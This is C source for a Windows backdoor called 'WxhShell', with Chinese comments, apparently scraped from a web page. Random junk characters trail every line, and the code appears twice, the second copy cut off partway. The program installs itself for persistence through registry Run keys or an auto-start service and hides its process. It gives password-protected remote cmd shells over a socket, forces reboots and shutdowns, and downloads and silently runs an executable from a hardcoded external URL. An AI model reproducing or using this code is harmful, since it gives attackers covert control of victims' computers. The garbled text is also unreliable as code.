    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tf}Q%)`f  
    if(Boot(SHUTDOWN)) :zy'hu;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f$*9J  
    else { o2U J*4  
    closesocket(wsh); z\ $>k_  
    ExitThread(0); >Zp]vK~s  
    } vM;dPE7  
    break; 6L% R@r  
    } S{|)9EKw  
  // 获取shell YY>Uf1}*9  
  case 's': { #a>!U'1|  
    CmdShell(wsh);  G6ES]  
    closesocket(wsh); p:n^c5  
    ExitThread(0); V<I${i$]0  
    break; L |G k}n  
  } ;,hoX6D$  
  // 退出 tg`!svL!  
  case 'x': { (ZR"O8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SPm5tU  
    CloseIt(wsh); +}Wo=R}  
    break; yX Q;LQ;  
    } nU#q@p)Xg  
  // 离开 Qvg"5_26v  
  case 'q': { "TNUw&ih  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .T>}O0L"  
    closesocket(wsh); L|'ME| '  
    WSACleanup(); xa^HU~  
    exit(1); H<Taf%JT  
    break; gQt@xNO  
        } 1VsEic  
  } xR%ayT.  
  } ="e um7  
]ZATER)jq  
  // 提示信息 u1Yp5jp^K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IYC#H}  
} 6df&B .gg  
  } f__WnW5h  
r1?FH2Ns  
  return; tB?S0;yXjd  
} :QSW^x  
uzA'D~)P  
// shell模块句柄 @z RB4d$  
int CmdShell(SOCKET sock) 4}FfHgpQ  
{ ]>i0;R ME  
STARTUPINFO si; />7/S^  
ZeroMemory(&si,sizeof(si)); =KD*+.'\/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "x^bl+_"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zUu>kJZ  
PROCESS_INFORMATION ProcessInfo; -+Dvyr  
char cmdline[]="cmd"; W"@lFUi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F<WX\q  
  return 0; a[rUU'8  
} HwK "qq-  
nU *fne?  
// 自身启动模式 `3n*4Lz  
int StartFromService(void) G* 6<pp  
{ J8Db AB4X  
typedef struct 8dB~09Z7  
{ F}[;ytmUS  
  DWORD ExitStatus; 0)44*T  
  DWORD PebBaseAddress; H)+kN'J  
  DWORD AffinityMask; m%\[1|N  
  DWORD BasePriority; JH;DVPX9z  
  ULONG UniqueProcessId; <\mc|p"  
  ULONG InheritedFromUniqueProcessId; H >{K]7D/y  
}   PROCESS_BASIC_INFORMATION; ?{IvA:   
Z.(x|Q9  
PROCNTQSIP NtQueryInformationProcess; C(Y6 t1  
/Q_\h+ `  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nd1*e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,~iAoxD5jY  
0G 1o3[F  
  HANDLE             hProcess; ~` hcgCi%  
  PROCESS_BASIC_INFORMATION pbi; K),wAZI!7j  
dVfDS-v!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DyZ90]N  
  if(NULL == hInst ) return 0; %Q~Lk]B?t  
::`wx@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :wAB"TCt0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1w^[Eno$$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  (RS:_]  
TZ2f-KI  
  if (!NtQueryInformationProcess) return 0; B6o AW,3  
OK}"|:hrd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q(3x"+  
  if(!hProcess) return 0; zl?N1>KS  
E9hWn0 e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _O<{H'4NO  
<`qo*__1  
  CloseHandle(hProcess); .D`#a  
C%>7mz-v5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lhTbgM  
if(hProcess==NULL) return 0; _F E F+I  
uSjMqfK  
HMODULE hMod; G#v7-&Yl6  
char procName[255]; d`/{0:F  
unsigned long cbNeeded; 9@B+$~:}7  
2[hl^f^%,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OpE+e4~IF  
(?[cDw/{J:  
  CloseHandle(hProcess); sSK$  
8msDJ {,X  
if(strstr(procName,"services")) return 1; // 以服务启动 t |hmEHUk  
bwFc>{Wo5  
  return 0; // 注册表启动 !Ua#smZ  
} B=Os?'2[  
0]~n8mB>  
// 主模块 .Ps;O  
int StartWxhshell(LPSTR lpCmdLine) XN;eehB?aE  
{ {IvCe0`  
  SOCKET wsl; R[;Z<K\Nn?  
BOOL val=TRUE; 3!L)7Z/  
  int port=0; 48`<{|r{  
  struct sockaddr_in door; 1<"kN^  
f7s.\  
  if(wscfg.ws_autoins) Install(); Dn?L   
jGCW^#GE  
port=atoi(lpCmdLine); wSMgBRV#^  
CHB{P\WF  
if(port<=0) port=wscfg.ws_port; "/"k50%  
='j  
  WSADATA data; Z5=!R$4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V'$ eun  
`39U I7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O.dNhd$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /'(P{O>{j  
  door.sin_family = AF_INET; o<4LL7$A!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .R,8<4  
  door.sin_port = htons(port); OA0\b_  
^-_!:7TH]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (XH)1 -Z!  
closesocket(wsl); f@mM&e=f  
return 1; {UNz UaE  
} b4wJnmC8  
D4wB &~U  
  if(listen(wsl,2) == INVALID_SOCKET) { 2H#vA  
closesocket(wsl); /MC\ !,K  
return 1; tWFJx}H  
} "$&F]0  
  Wxhshell(wsl); "<WS Es  
  WSACleanup(); ^ytd~iK8  
$j/F7.S  
return 0; :EjIV]e  
U DG _APf  
} I}=}S"v  
[% jg;m  
// 以NT服务方式启动 ZU|nKt<GK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5a/)|  
{ h(sD]N  
DWORD   status = 0; cPXvT Vvs  
  DWORD   specificError = 0xfffffff; iR-O6*PTC  
QWkw$mcf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k <qQ+\X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :FSkXe2yy0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `dK\VK^  
  serviceStatus.dwWin32ExitCode     = 0; '9)@U+yfQ  
  serviceStatus.dwServiceSpecificExitCode = 0; 3kMiC$  
  serviceStatus.dwCheckPoint       = 0; L[K_!^MZ  
  serviceStatus.dwWaitHint       = 0; ){} #v&  
n7G$gLX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a_yV*N`D  
  if (hServiceStatusHandle==0) return; i@RjG   
-1R~3j1_  
status = GetLastError(); \WTg0b[  
  if (status!=NO_ERROR) o\#C] pp  
{ R&QT  'i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8/CGg_C1  
    serviceStatus.dwCheckPoint       = 0; 9(_/jU4mc  
    serviceStatus.dwWaitHint       = 0; f`%k@\  
    serviceStatus.dwWin32ExitCode     = status; sw1XN?O  
    serviceStatus.dwServiceSpecificExitCode = specificError; K^S#?T|[9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k[p  
    return; q )[g VL  
  } 9&tV#=s  
J}x5Ko@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |z~?"F6 Y<  
  serviceStatus.dwCheckPoint       = 0; :97`IV%  
  serviceStatus.dwWaitHint       = 0; l>ttxYBa<d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qi%A/~  
} z 4-wvn<*  
t^'1Ebg  
// 处理NT服务事件,比如:启动、停止 tL~|/C)d R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D7%89qt  
{ y+PukHY  
switch(fdwControl) ^:],JN k  
{ P7o6B,9  
case SERVICE_CONTROL_STOP: F ;D_zo?  
  serviceStatus.dwWin32ExitCode = 0; 38#(ruv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mf3G$=[  
  serviceStatus.dwCheckPoint   = 0; LP~$7a  
  serviceStatus.dwWaitHint     = 0; Rq 7ksTo  
  { "hvw2lyp3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qr@,92_  
  } Czp:y8YX-  
  return; uxcj3xE#d  
case SERVICE_CONTROL_PAUSE: !qR(Rn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0KZ 3h|4lP  
  break; ?tcbiXRG+  
case SERVICE_CONTROL_CONTINUE: j\a?n4g -  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f6XWA_[i@  
  break; uO6_lOT9n  
case SERVICE_CONTROL_INTERROGATE: S8y4 p0mV  
  break; im' 0^  
}; T:ck/:ZH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5HU>o|.  
} 2{& " 3dq  
J 4gIkZD  
// 标准应用程序主函数 >3bpa<M_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ji2#O.  
{ oGM.{\i  
#GF1MFkoS  
// 获取操作系统版本 >M!>Hl/  
OsIsNt=GetOsVer(); JG_7G=~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6f?DW-)jp/  
?`vb\K<5H;  
  // 从命令行安装 wFvilF V  
  if(strpbrk(lpCmdLine,"iI")) Install(); yH`xk%q_  
SXT/9FteZ  
  // 下载执行文件 SlZu-4J.-  
if(wscfg.ws_downexe) { =$'Zmb [D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +)|2$$m  
  WinExec(wscfg.ws_filenam,SW_HIDE); {p-%\nOC  
} KpE#Ye&  
Y PM>FDxDB  
if(!OsIsNt) { U +]ab  
// 如果时win9x,隐藏进程并且设置为注册表启动 |Mh;k 6  
HideProc(); ]X5*e'  
StartWxhshell(lpCmdLine); 3EFk] X  
} (3-G<E  
else 'G^=>=w|Nv  
  if(StartFromService()) H)p{T@  
  // 以服务方式启动 V>nY?  
  StartServiceCtrlDispatcher(DispatchTable); 0Zq" -  
else :K&hGZ+5  
  // 普通方式启动 P.wINo  
  StartWxhshell(lpCmdLine); e\h:==f  
ka'MF;!rc  
return 0; eQc!@*:8U  
} e nNn*.*|  
rYLNV!_  
Z(.Tl M2h  
d/^^8XUK  
=========================================== <7zpHSFBq  
V_~wWuZ-  
r*g _  
;)kBJ @  
2P|-V};9  
~vXul`x  
" 1eJ\CdI  
%ry>p(-pC(  
#include <stdio.h> K'tz_:d|  
#include <string.h> -L[K1;Xv"  
#include <windows.h> A@#dv2JzP  
#include <winsock2.h> ?G{fF H  
#include <winsvc.h> b,'./{c0  
#include <urlmon.h> ?SpI^Wn)[  
_% P%~`?!  
#pragma comment (lib, "Ws2_32.lib") F 6Ol5  
#pragma comment (lib, "urlmon.lib") u Qj#U m8  
we@bq,\w  
#define MAX_USER   100 // 最大客户端连接数 |amEuKJ  
#define BUF_SOCK   200 // sock buffer 2c~^|@   
#define KEY_BUFF   255 // 输入 buffer #Y:/^Q$_qS  
ZibODs=f;  
#define REBOOT     0   // 重启 #4Z$O(  
#define SHUTDOWN   1   // 关机 Vlf@T  
5 9 09O  
#define DEF_PORT   5000 // 监听端口  2AluH8X/  
,s2.l/5r;C  
#define REG_LEN     16   // 注册表键长度 g(`6cY[}  
#define SVC_LEN     80   // NT服务名长度 i^> RjR  
*qqFIp^  
// 从dll定义API NubD2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  :DD4BY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); crT[;w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qm '$R3g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p?`N<ykF<  
2H /a&uo@n  
// wxhshell配置信息 e p^0Cd/  
struct WSCFG { 5x: XXj"  
  int ws_port;         // 监听端口 lC2xl(#!  
  char ws_passstr[REG_LEN]; // 口令 OU##A:gI  
  int ws_autoins;       // 安装标记, 1=yes 0=no nYe}d!  
  char ws_regname[REG_LEN]; // 注册表键名 |EApKxaKD  
  char ws_svcname[REG_LEN]; // 服务名 A~6 Cs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V^ :\/EU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UWnH2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?-VN+ d7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &a:aW;^A7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N+tS:$V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nGf@zJDb  
E|TzrH  
}; 3_-#  
 O~S}u  
// default Wxhshell configuration }_;nl n?t(  
struct WSCFG wscfg={DEF_PORT, N.<hZ\].=  
    "xuhuanlingzhe", c;e ,)$)-|  
    1, ?BRL;(x  
    "Wxhshell", u>eu47"n!  
    "Wxhshell", ?R+$4;iy  
            "WxhShell Service", v:>P;\]r9M  
    "Wrsky Windows CmdShell Service", 8 2qe|XD4p  
    "Please Input Your Password: ", f6#H@ X  
  1, p<jr&zVEc>  
  "http://www.wrsky.com/wxhshell.exe", -7`J(f.rYC  
  "Wxhshell.exe" 4{R`  
    }; n5 i}J/Sa2  
k8ck#%#}Wu  
// 消息定义模块 jQDxbkIuzE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u2eq VrY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \Q$);:=q Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3k/Mig T  
char *msg_ws_ext="\n\rExit."; }8SHw|-  
char *msg_ws_end="\n\rQuit."; 4EK[gM8  
char *msg_ws_boot="\n\rReboot..."; $X?V_K;9/  
char *msg_ws_poff="\n\rShutdown..."; IF}r%%'Y$  
char *msg_ws_down="\n\rSave to "; I,[EL{fz  
n>Ei1  
char *msg_ws_err="\n\rErr!"; fP|\1Y?CS  
char *msg_ws_ok="\n\rOK!"; 26**tB<  
BpCSf.zZ  
char ExeFile[MAX_PATH]; 5J;c;PF  
int nUser = 0; 'UyL%h;nJ  
HANDLE handles[MAX_USER]; n*1UNQp@]O  
int OsIsNt; 5Zov< +kE  
1K`A.J:Uy  
SERVICE_STATUS       serviceStatus; :o:??tqw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ef!F;De)A  
]'G7(Y\)f  
// 函数声明 d !H)voX  
int Install(void); :NL NxK  
int Uninstall(void); *O;N"jf  
int DownloadFile(char *sURL, SOCKET wsh); Nm~#$orI|  
int Boot(int flag); 9Dl \SF[  
void HideProc(void); e=_hfOUC  
int GetOsVer(void); QKO(8D6+  
int Wxhshell(SOCKET wsl); I%Awj(9BS  
void TalkWithClient(void *cs); qha<.Ro  
int CmdShell(SOCKET sock); H,}?YW  
int StartFromService(void); wB^a1=C  
int StartWxhshell(LPSTR lpCmdLine); PjHm#a3zg%  
V*aTDU%-.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !8g y)2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NO$Nl/XM  
#q- _  
// 数据结构和表定义 0#JBz\  
SERVICE_TABLE_ENTRY DispatchTable[] = R<=t{vTJ5  
{ Q ZlUUj\  
{wscfg.ws_svcname, NTServiceMain}, 6D0,ME#  
{NULL, NULL} DXt^Ym5Cv  
}; 1<83MO;  
2XtQ"`)  
// 自我安装 eG v"&kr  
int Install(void) zN1;v6;  
{ ,b4&$W].  
  char svExeFile[MAX_PATH]; 3Z0\I\E  
  HKEY key; [xPE?OD  
  strcpy(svExeFile,ExeFile); A@ME7^w7  
D\R^*k@V  
// 如果是win9x系统,修改注册表设为自启动 sn( }5;  
if(!OsIsNt) { `9-Zg??8r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %?fzT+-=%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H4,yuV  
  RegCloseKey(key); )sHPIxHI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =m:W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7r>W r#  
  RegCloseKey(key); tpN}9N  
  return 0; UwU]l17~  
    } UL%ihWq   
  } F?B=:8,}  
} #k)\e;,X  
else { ooQ(bF  
Q 1Ao65  
// 如果是NT以上系统,安装为系统服务 l&B'.6XKs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~}w 8UO  
if (schSCManager!=0) -+> am?  
{ u i1m+  
  SC_HANDLE schService = CreateService Xhi?b|  
  ( ks D1NB;9  
  schSCManager, gL`SZr9  
  wscfg.ws_svcname, 0^[6  
  wscfg.ws_svcdisp, *$VurqLn  
  SERVICE_ALL_ACCESS, 6ZBD$1$A!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7W"menw  
  SERVICE_AUTO_START, w3>|mDA}I  
  SERVICE_ERROR_NORMAL, vvxj{fxb)  
  svExeFile, 4(82dmKO  
  NULL, z3]U% y(,  
  NULL, 639k&"V  
  NULL, V{{x~Q9  
  NULL, _3a 5/IZ  
  NULL 3iw9jhK!W  
  ); j&.BbcE45  
  if (schService!=0) 1tW:(~ =a;  
  { Fev3CV$  
  CloseServiceHandle(schService); T#7^6Ks+1  
  CloseServiceHandle(schSCManager); )v~]lk,o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -e>)yM `i  
  strcat(svExeFile,wscfg.ws_svcname); Z"Oa5V6[A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hea<!zPH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hT"K}d;X  
  RegCloseKey(key); E6M: ^p*<  
  return 0; ".f:R9-  
    } 5g5NTm`=<  
  } Umg81!  
  CloseServiceHandle(schSCManager); WKsx|a]U  
} P hu| hx<  
} +ctv]'P_  
K5&C}Ey1  
return 1; LnS >3$t*  
} MFuI&u!g:  
c ?XUb[  
// 自我卸载 .Er/t"Qs;  
int Uninstall(void) '.,.F0{x  
{ @U@yIv  
  HKEY key; ;4$C$r!t  
b_ yXM  
if(!OsIsNt) { u,:`5*al{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bw.&3efd  
  RegDeleteValue(key,wscfg.ws_regname); 8[;oUVb5  
  RegCloseKey(key); (B<AK4G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KTt$Pt/.  
  RegDeleteValue(key,wscfg.ws_regname); Xkom@F~]  
  RegCloseKey(key); ton`ji\^  
  return 0; =fK'Ep[  
  } om?CFl  
} yXg1N N  
} u^%')Ncp  
else { /}_c7+//  
@l GnG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XWpnZFjE  
if (schSCManager!=0) ^1=|(Z/  
{ +Q31K7Gr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y$o=\:  
  if (schService!=0) pVS2dwBqE  
  { }c ;um  
  if(DeleteService(schService)!=0) { !!%[JR)cS  
  CloseServiceHandle(schService); Wy*7jB  
  CloseServiceHandle(schSCManager); kTW g31]~  
  return 0; 9t.yP;j\Y  
  } 92VX5?Cyg  
  CloseServiceHandle(schService); `e>F<{ M6@  
  } 2EwWV 0BS  
  CloseServiceHandle(schSCManager); gecT*^  
} jMui+G(h  
} NP'Ke:  
t<,p-TM]  
return 1;  iLcadX  
} {))S<_ yN  
OG7v'vmY  
// 从指定url下载文件 w*%$ lhp!  
int DownloadFile(char *sURL, SOCKET wsh) h\*rv5\M  
{ zN/~a)  
  HRESULT hr; (!5}" fj  
char seps[]= "/"; DN':-PK  
char *token; OKP_3Ns  
char *file; ESjJHZoD(  
char myURL[MAX_PATH]; cqL7dlhIl  
char myFILE[MAX_PATH]; ."Ix#\|x  
IPi<sE  
strcpy(myURL,sURL); ugCS &  
  token=strtok(myURL,seps); /3 Ix,7  
  while(token!=NULL) DPQGh`J  
  { U4l*;od  
    file=token; Dh(T) yc  
  token=strtok(NULL,seps); ^@lg5d3F  
  } 0gD59N'C  
vLFaZ^(  
GetCurrentDirectory(MAX_PATH,myFILE); OMI!=Upz  
strcat(myFILE, "\\"); y{Y+2}Dv/  
strcat(myFILE, file); [Pwo,L,)  
  send(wsh,myFILE,strlen(myFILE),0); |z.GSI_!)  
send(wsh,"...",3,0); m4U+,|Fa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WfT)CIKs  
  if(hr==S_OK) iSz@E&[X  
return 0; m2q;^o:J  
else o/ g+Z  
return 1; D4O5@KfL  
%iL@:'?K  
} J*~2 :{=%  
gq_7_Y/  
// 系统电源模块 j /dE6d  
int Boot(int flag) p$1Rgm\  
{ ? Ga2K  
  HANDLE hToken;  vs])%l%t  
  TOKEN_PRIVILEGES tkp; <Z:8~:@  
pebx#}]p-  
  if(OsIsNt) { +bc#GzVF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !QR?\9`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a$zm/  
    tkp.PrivilegeCount = 1; 3^R][;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tZu*Asx7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `Ivw`}L  
if(flag==REBOOT) { v7<S F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Prb_/B Dd  
  return 0; t#pqXY/;D  
} eIUuq&(  
else { i=X*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w^rb|mKo  
  return 0; |;U=YRi  
} N[x@j)w-`  
  } B?lBO V4v4  
  else { g3~~"`2  
if(flag==REBOOT) { lc3S|4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3pTS@  
  return 0; O`[iz/7m  
} yEpN,A  
else { $mI:Im`s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZA_zKJ[[7  
  return 0; nze1]3`  
} g"!#]LLe  
} ,;cel^.b  
}]g95xT  
return 1; ]Z$TzT&@%  
} (O_t5<A*X  
o(d_uJOB  
// win9x进程隐藏模块 zJuRth)(,  
void HideProc(void) 4)odFq:  
{ *pb:9JKi  
N5f0| U&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tf7v5iGe  
  if ( hKernel != NULL ) 9oj e`Ay  
  { A eGG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Cb )=n6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hViprhC  
    FreeLibrary(hKernel); =|gJb|?w  
  } 3Zaq#uA  
x7KcO0F{  
return; E)80S.V  
} qb-2QPEB  
RQo$iISwy  
// 获取操作系统版本 $d2kHT  
int GetOsVer(void) {8{t]LK<  
{ 8_<&f%/  
  OSVERSIONINFO winfo; X"TUe>cM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Sqdc1zC  
  GetVersionEx(&winfo); z{`6#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <;z[+6T  
  return 1; $#G6m`V  
  else 'Vm5Cs$  
  return 0; z)&naw.  
} 4/HY[FT  
D%;wVnU w  
// 客户端句柄模块 % UW=:  
int Wxhshell(SOCKET wsl) A#Q0{z@H  
{ Ox7uG{t$#  
  SOCKET wsh; - - i&"  
  struct sockaddr_in client; \'; t*  
  DWORD myID; |{7e#ww]  
^sT +5M^  
  while(nUser<MAX_USER) ?#BZ `H  
{ #aitESbT  
  int nSize=sizeof(client); Th7wP:iDP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~+pg^en  
  if(wsh==INVALID_SOCKET) return 1; :cXIO  
Avs7(-L+s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [}A_uOGEP  
if(handles[nUser]==0) P1)* q0  
  closesocket(wsh); x1m8~F  
else u}-d7-=  
  nUser++; FylWbQU9  
  } /'Qu u)~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *=$[}!YG  
/'&.aGW4%  
  return 0; *Nv y+V  
} k_*XJ<S!Y  
CF3E]dt  
// 关闭 socket ~@[(N]=q  
void CloseIt(SOCKET wsh) '?{0z!!  
{  /,1SE(  
closesocket(wsh); hi;WFyJTu  
nUser--; <CNE>@-f  
ExitThread(0); NK+FQ^m[  
} '^Pq(b~  
(j8GiJ]{L,  
// 客户端请求句柄 u;+%Qh  
void TalkWithClient(void *cs) pG,<_N@P  
{ ",~ b2]ym  
ov\Ct%]  
  SOCKET wsh=(SOCKET)cs; F-$Z,Q]S  
  char pwd[SVC_LEN]; 0M#N=%31  
  char cmd[KEY_BUFF]; nmD1C_&  
char chr[1]; CDQJ bvx  
int i,j; I;Al? &uw  
\yih 1Om>~  
  while (nUser < MAX_USER) { U9<_6Bsd  
/Y;+PAy  
if(wscfg.ws_passstr) { (oLpnjJ(,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9"WRIHt'c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y0scL7/  
  //ZeroMemory(pwd,KEY_BUFF); I$aXnd6)  
      i=0; /J1S@-  
  while(i<SVC_LEN) { 9M1a*frxZ  
((-aC`  
  // 设置超时 -;+m%"k5  
  fd_set FdRead; X!U]`Qh  
  struct timeval TimeOut; _wm~}_Q  
  FD_ZERO(&FdRead); -/M9 vS  
  FD_SET(wsh,&FdRead); 9Tzc(yCY  
  TimeOut.tv_sec=8; "NxOOLL  
  TimeOut.tv_usec=0; J*}VV9H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i'Y-V]->  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <8iYL`3  
g/OI|1a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xy[}Gp  
  pwd=chr[0]; Z -pyFK\  
  if(chr[0]==0xd || chr[0]==0xa) { jmRhAJV  
  pwd=0; kj x>  
  break; @AvM  
  } .>k=A|3G  
  i++; AU0$A403  
    } Q8 -3RgAw  
Ezi' 2Sc  
  // 如果是非法用户,关闭 socket "I5uDFZR&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |*%/ovg+  
} jZa25Z00  
>oe4mW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B1y<.1k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6eD(dZ  
TRSOO}  
while(1) { h^['rmd  
;rNd701p"  
  ZeroMemory(cmd,KEY_BUFF); ` !zQ  
n)tU9@4Np  
      // 自动支持客户端 telnet标准   B:e.gtM5  
  j=0; vAi"$e  
  while(j<KEY_BUFF) { NV:>a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mx^y>\X)v  
  cmd[j]=chr[0]; kX igX-  
  if(chr[0]==0xa || chr[0]==0xd) { b+W)2rFO  
  cmd[j]=0; ah 4kA LO  
  break; *]FgfttES  
  } 'n>K^rA  
  j++; $X`bm*  
    } Mg#`t$ u  
e%pu.q\gK  
  // 下载文件 %'$f ?y  
  if(strstr(cmd,"http://")) { IZ+ *`E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (2: N;  
  if(DownloadFile(cmd,wsh)) : @s8?eg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W5pn;u- sz  
  else YQN.Ohtv*F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z#CxQ D%\  
  } 7kdeYr~<1  
  else {  dFzYOG1  
